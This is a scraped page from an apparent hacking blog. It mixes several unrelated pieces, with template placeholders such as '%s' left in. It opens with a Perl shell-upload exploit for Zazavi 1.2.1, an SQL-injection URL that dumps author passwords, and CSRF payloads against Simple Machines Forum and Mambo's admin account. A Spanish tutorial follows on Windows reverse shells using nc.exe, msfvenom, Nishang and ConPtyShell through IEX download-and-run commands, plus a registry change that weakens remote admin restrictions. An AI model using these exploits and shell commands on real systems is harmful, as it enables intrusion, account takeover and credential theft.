source: https://www.securityfocus.com/bid/49309/info
Zazavi is prone to an arbitrary-file-upload vulnerability because the application fails to adequately sanitize user-supplied input.
An attacker can exploit this issue to upload arbitrary code and run it in the context of the webserver process.
Zazavi 1.2.1 is vulnerable; other versions may also be affected.
#!/usr/bin/perl
system ("title KedAns-Dz");
system ("color 1e");
system ("cls");
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
print <<INTRO;
|==========================================|
|= Zazavi <=1.2.1 * Arbitrary Shell Upload |
|= >> Provided By KedAns-Dz << |
|= e-mail : ked-h[at]hotmail.com |
|==========================================|
INTRO
print "\n";
print "[*] Enter URL(f.e: http://target.com): ";
chomp(my $url=<STDIN>);
print "\n";
print "[*] Enter File Path (f.e: C:\\Shell.php.gif): "; # File Path For Upload (usage : C:\\Sh3ll.php.gif)
chomp(my $file=<STDIN>);
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/admin/editor/filemanager/controller.php',
Content_Type => 'multipart/form-data',
Content =>
[
action => 'uploadFile',
newfile => 'DzOffendersCr3w.php',
filepath => $file,
] );
print "\n";
if($re->is_success) {
if( index($re->content, "Disabled") != -1 ) { print "[+] Exploit Successfull! File Uploaded!\n"; }
else { print "[-] File Upload Is Disabled! Failed!\n"; }
} else { print "[-] HTTP request Failed!\n"; }
exit;
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863119337
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/49354/info
phpWebSite is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/mod.php?mod=publisher&op=allmedia&artid=-1 union select concat(aid,0x3a,pwd) from authors
source: https://www.securityfocus.com/bid/49311/info
Simple Machines Forum is prone to a cross-site request-forgery vulnerability.
Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.
Simple Machines Forum 2.0 and 1.1.14 are vulnerable; other versions may be affected.
[img]http://www.example.com/index.php?sa=editBuddies;remove=102;action%00=profile[/img]
[img]http://www.example.com/community/index.php?action%00=logout;token[/img]
source: https://www.securityfocus.com/bid/49315/info
Mambo CMS is prone to a cross-site request-forgery vulnerability.
Attackers can exploit this issue by tricking an unsuspecting user into visiting a malicious Web page. The page will consist of specially crafted script code designed to perform some action on the attacker's behalf.
Successful exploits will allow attackers to run privileged commands on the affected device.
Mambo CMS 4.6.5 is vulnerable; other versions may also be affected.
<html>
<head>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
function fireForms()
{
var count = 1;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
}
}
</script>
<form action="http://site.com/administrator/index.php?option=com_users&task=editA&id=62&hidemainmenu=1" method="post" name="adminForm">
<input type="hidden" name="name" value="Administrator" />
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="password" value="" />
<input type="hidden" name="password2" value="" />
<input type="hidden" name="gid" value="25" />
<input type="radio" name="block" value="0" checked="checked" />
<input type="radio" name="block" value="1" />
<input type="radio" name="sendEmail" value="0" />
<input type="radio" name="sendEmail" value="1" checked="checked" />
</form>

Reverse Shells en Windows
HACKER · %s · %s
Índice:
Nc.exe Msfvenom Powershell Reverse Shell One-Liner Nishang ConPtyShell Ver si nuestro proceso es de 32 o 64 bits Referencias
Nc.exe
Al igual que tenemos netcat en linux y sus respectivos binarios para ese sistema, existen los binarios respectivos para Windows, tanto de 32 bits (nc.exe) como de 64 bits (nc64.exe), se pueden descargar desde aquí.
En este caso, podemos además de descargarlo y ejecutarlo, ejecutarlo directamente desde un recurso compartido que nosotros nos montemos (esto lo comento como alternativa a la descarga de un ejecutable).
La sintaxis del nc.exe sería la siguiente:
nc.exe -e cmd.exe <ip> <puerto>
Desde nuestro kali, nos ponemos en escucha:
Antes de montar el servidor SMB que vaya a compartir nuestro nc.exe, tenemos que copiarnos el nc.exe a nuestro directorio o montar el servidor donde se encuentre el nc.exe. En mi caso, por simple preferencia, me copio el nc.exe a mi directorio actual:
Con esto hecho, montamos el servidor SMB en nuestra ruta actual usando el script «smbserver.py» de impacket, con la siguiente estructura:
smbserver.py <nombre del recurso compartido> <directorio donde montar el servidor> -smb2support
Con el servidor SMB montado en el lugar del nc.exe y con el puerto en escucha, simplemente ejecutamos en el Windows el comando que puse al principio de netcat al mismo tiempo que indicamos que el binario se encuentra en el recurso compartido con nombre «pwned»:
\\192.168.118.10\pwned\nc.exe -e cmd.exe <ip> <puerto>
De esta forma, podemos ver el acceso a nuestro servidor SMB y la shell obtenida:
Msfvenom
Msfvenom no solo es útil cuando nos generamos shellcodes para los Buffer Overflow, también lo es para crear binarios que nos ejecuten una shell en Windows. En concreto, los dos payloads que nos pueden interesar (aunque hay más y de muchos tipos) son los siguientes:
En este caso, usaremos el segundo, ya que mi Windows se trata de uno de 64 bits. Por lo que podemos generar un ejecutable con el siguiente comando:
msfvenom -p <payload> LHOST=<ip> LPORT=<puerto> -a x<arquitectura> -f exe -o shell.exe
Este ejecutable lo pasamos a la máquina víctima y lo ejecutamos:
Recibiendo así, una shell:
Powershell Reverse Shell One-Liner
Powershell es un lenguaje muy potente y permite hacer muchisimas cosas, veremos scripts muy útiles después. Pero antes de ir a ellos, está bien saber que existe una sentencia de powershell la cual nos entabla una reverse shell y todo en un comando de una sola línea.
El comando en cuestión lo podéis encontrar en este enlace.
Personalmente, no recomiendo mucho esta forma, al menos, una ejecución directa, ya que, como podemos ver, es un comando el cual contiene muchísimos símbolos y muchas variables, lo cual puede dificultar su ejecución desde una webshell o una cmd, lo recomendable es ejecutarlo desde una powershell directamente.
En cualquier caso, siempre hay que conocer alternativas y opciones disponibles. Por lo que una vez dicho esto, procedemos con la ejecución, que es bastante sencilla, simplemente tenemos que cambiar la IP y el puerto del comando original:
Ejecutando el comando de arriba obtenemos una shell sin problemas:
Lo único a tener en cuenta es lo que he dicho antes. Yo por preferencia, casi nunca uso esta forma.
Nishang
Nishang es un repositorio el cual contiene una gran cantidad de scripts de powershell usados para la seguridad ofensiva. Su repositorio oficial es el que podéis visitar en este enlace.
Entre todos los scripts que tiene, hay uno en concreto bastante famoso llamado «Invoke-PowerShellTcp.ps1«, el cual, como no, nos invoca una reverse shell con una powershell.
Como vemos, el script no es más que una función en powershell, por lo que tenemos dos opciones:
Descargar y cargar el script de forma local, y posteriormente ejecutar la función con los argumentos para una reverse shell. Cargar el script de forma remota y que en la misma acción donde lo carga, posteriormente ejecute la función con los argumentos para la reverse shell, todo en un paso. Vamos a hacerlo de la segunda forma, por lo que vamos a descargar el script desde el repositorio oficial:
En el script podemos ver el comando a ejecutar para que nos haga una reverse shell. Por lo que la idea es copiarnos el comando y añadirlo (con nuestra IP y puerto) al final del script:
De esta forma, justo cuando cargue el script en la powershell el cual contiene la función (cmdlet), llamará a la propia función con los argumentos para una reverse shell y la ejecutará.
Ahora bien, para cargar el script en la powershell desde una fuente remota y ejecutarlo, usaremos el siguiente comando:
IEX(New-Object Net.WebClient).DownloadString(<archivo alojado en servidor web>)
Como nos ejecutará la reverse shell directamente, nos ponemos en escucha ya, al mismo tiempo que nos ejecutamos un servidor HTTP con python que nos aloje el script:
Con esto hecho, ejecutamos el comando IEX (Abreviatura de «Invoke-Expression» )en el Windows:
De esta forma, podemos ver la petición GET en el servidor y la shell que hemos obtenido:
Todo en un mismo paso, además, haciéndolo todo en memoria, ya que el script no se almacena en el disco duro del Windows.
ConPtyShell
ConPtyShell es una herramienta la cual nos permite obtener una shell completamente interactiva en sistemas Windows. Esto quiere decir que podemos hacer Ctrl C sin peligro a perder la shell o podemos recuperar comandos usados previamente usando la flechita hacia arriba. Su repositorio oficial lo podéis encontrar en este enlace.
El proceso para ejecutarlo prácticamente va a ser el mismo que con el script de nishang, ya que este se trata de otro script de powershell.
Por lo que empezamos descargando el script del repositorio:
Al igual que antes, no es mas que una función de powershell a la que tendremos que llamar una vez la hemos importado.
Tenemos de nuevo las mismas opciones de antes, añadir al final del script el comando, o ejecutarlo posterior a la importación del script en la powershell. Esta vez lo haremos de la segunda.
Antes de nada, en el repositorio oficial, podemos ver como se nos indican 3 métodos para entablarnos la reverse shell, en mi caso usaré el método 2:
El comando con el que descargaremos e importaremos el script también lo cambiaremos para tener siempre otra alternativa, en este caso, usaré el mismo que se indica en el repositorio:
IEX(IWR -UseBasicParsing <servidor web donde se encuentre el script>)
Este comando, lo concatenaremos con:
; Invoke-ConPtyShell -RemoteIp <IP> -Remote Port <puerto> -Rows <nº filas> -Cols <nº columnas>
Esto sería la parte del cliente (Windows), antes de realizarlo, tenemos que establecer la escucha por parte del servidor (nuestra máquina). Para ello, seguimos los mismos pasos que se nos indica en la imagen del repositorio:
Con el primer comando estamos viendo el tamaño de nuestra terminal (<filas> <columnas>). Esta información es la que tendremos que colocar en el comando que ejecutaremos desde el Windows.
Estando ya en escucha, no olvidemos montarnos un servidor HTTP que comparta el script:
Con todo listo, ejecutamos el comando en el Windows:
En la shell recibida, damos enter para que podamos ver el prompt:
Ahora solo falta hacer lo siguiente:
Ctrl Z stty raw -echo; fg Enter De esta forma, conseguimos una shell completamente interactiva en Windows.
Ver si nuestro proceso es de 32 o 64 bits
En las escaladas de privilegios en Windows, tenemos que tener mucho cuidado en la arquitectura en la que esté trabajando el proceso de nuestra shell. En un sistema de 32 bits, la única opción es que nuestra shell sea de 32 bits, ahí guay.
Sin embargo, en un sistema de 64 bits, el proceso de nuestra shell, puede ser de 32 o 64. Lo que ocurre, es que enumerar y escalar privilegios en un proceso de 32 bits cuando la máquina es de 64 no es lo más óptimo, ya que nos puede arrojar muchos falsos positivos o incluso que no consigamos detectar la forma de escalar privilegios solo por este detalle. Esto no ocurre siempre, puede que no tengamos ningún impedimento, pero puede ocurrir que sí lo tengamos. Un buen ejemplo es lo que ocurre en el post de Passwords – Privilege Escalation en Windows.
Así que siempre es muy recomendable cuando la máquina es de 64 bits, comprobar si nuestra shell también lo es, o si de lo contrario, es de 32 bits. Esto lo podemos mirar revisando la variable de entorno «%PROCESSOR_ARCHITECTURE%». Ejemplo:
Ambas shells son de la misma máquina, sin embargo, para obtenerlas, en la superior usé «nc64.exe» y en la inferior «nc.exe».
En powershell también podemos comprobar los bits del proceso y sistema operativo con los comandos:
[Environment]::Is64BitProcess [Environment]::Is64BitOperatingSystem Teniendo en cuenta esto último, así podremos asegurarnos de que la powershell sea de 32 o 64 bits cuando la llamemos para ejecutar un comando o para mandarla por netcat:
Ejemplo de como quedaría al mandar por netcat una powershell de 64 bits:
nc.exe -e C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe 192.168.118.10 443
Siguiendo todo lo explicado, podemos identificar los bits del proceso de nuestra shell y como controlar cuál nos conviene.
Referencias
nc.exe Powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok Nishang ConPtyShell Why %processor_architecture% always returns x86 instead of AMD64 Determine if current PowerShell Process is 32-bit or 64-bit? How to launch 64-bit powershell from 32-bit cmd.exe?
- Read more...
- 0 comments
- 1 view

eTouch SamePage 4.4.0.0.239 - Multiple Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

ClickCMS - Denial of Service / CAPTCHA Bypass
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

MapServer 6.0 - '.Map' File Double-Free Remote Denial of Service
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

TinyWebGallery 1.8.4 - Local File Inclusion / SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

S9Y Serendipity 1.5.1 - 'research_display.php' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Guppy CMS 5.0.9/5.00.10 - Authentication Bypass/Change Email
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

LocalAccountTokenFilterPolicy
HACKER · %s · %s
Posts que recomiendo leer:
¿Qué es y por qué funciona Pass The Hash? – Autenticación NTLM ¿Por qué se pueden ejecutar comandos a través de SMB? Sin embargo, puede ocurrir que tengamos credenciales de administrador, pero no tengamos la capacidad de ejecutar comandos. Esto puede ser por el LocalAccountTokenFilterPolicy.
Ejemplo:
El usuario «sikumy» está en el grupo «Administradores», pero:
No obtenemos el famoso Pwn3d!, por lo tanto, no podemos ejecutar comandos.
Entonces, ¿qué es el LocalAccountTokenFilterPolicy y como nos afecta?
De forma simple, el LocalAccountTokenFilterPolicy es un filtro que previene que se usen privilegios elevados a través de la red. Esto solo aplica para las cuentas administrativas locales, no afectan a las cuentas de dominios. Por esta restricción, es por la que no podemos hacer uso de los privilegios de la cuenta a través de la red, y, por tanto, obtener el Pwn3d! y ejecutar comandos.
Para deshabilitar el LocalAccountTokenFilterPolicy, debemos retocar el siguiente registro:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system En concreto, el valor con nombre «LocalAccountTokenFilterPolicy». Si ese registro es 0, significa que está habilitado, si vale 1, lo contrario. A nosotros nos interesa que valga 1. Podemos cambiar su valor mediante el siguiente comando:
cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
Ahora, si volvemos a CrackMapExec:
Obtenemos el Pwn3d!, gracias a haber deshabilitado esta restricción. Por lo que ya podemos ejecutar comandos y hacer lo que queramos.
Referencias
Description of User Account Control and remote restrictions Local administrator accounts must have their privileged token filtered to prevent elevated privileges from being used over the network on domain systems.
- Read more...
- 0 comments
- 1 view

Publish-It 3.6d - Local Buffer Overflow (SEH)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Mambo Component N-Press - SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

WordPress Plugin Fancybox 3.0.2 - Persistent Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

CS-Cart 2.2.1 - 'products.php' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Web Professional - 'default.php' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Mambo Component N-Skyrslur - Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

X360 VideoPlayer - ActiveX Control Buffer Overflow (Metasploit)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Mambo Component N-Gallery - SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Mambo Component Ahsshop - SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view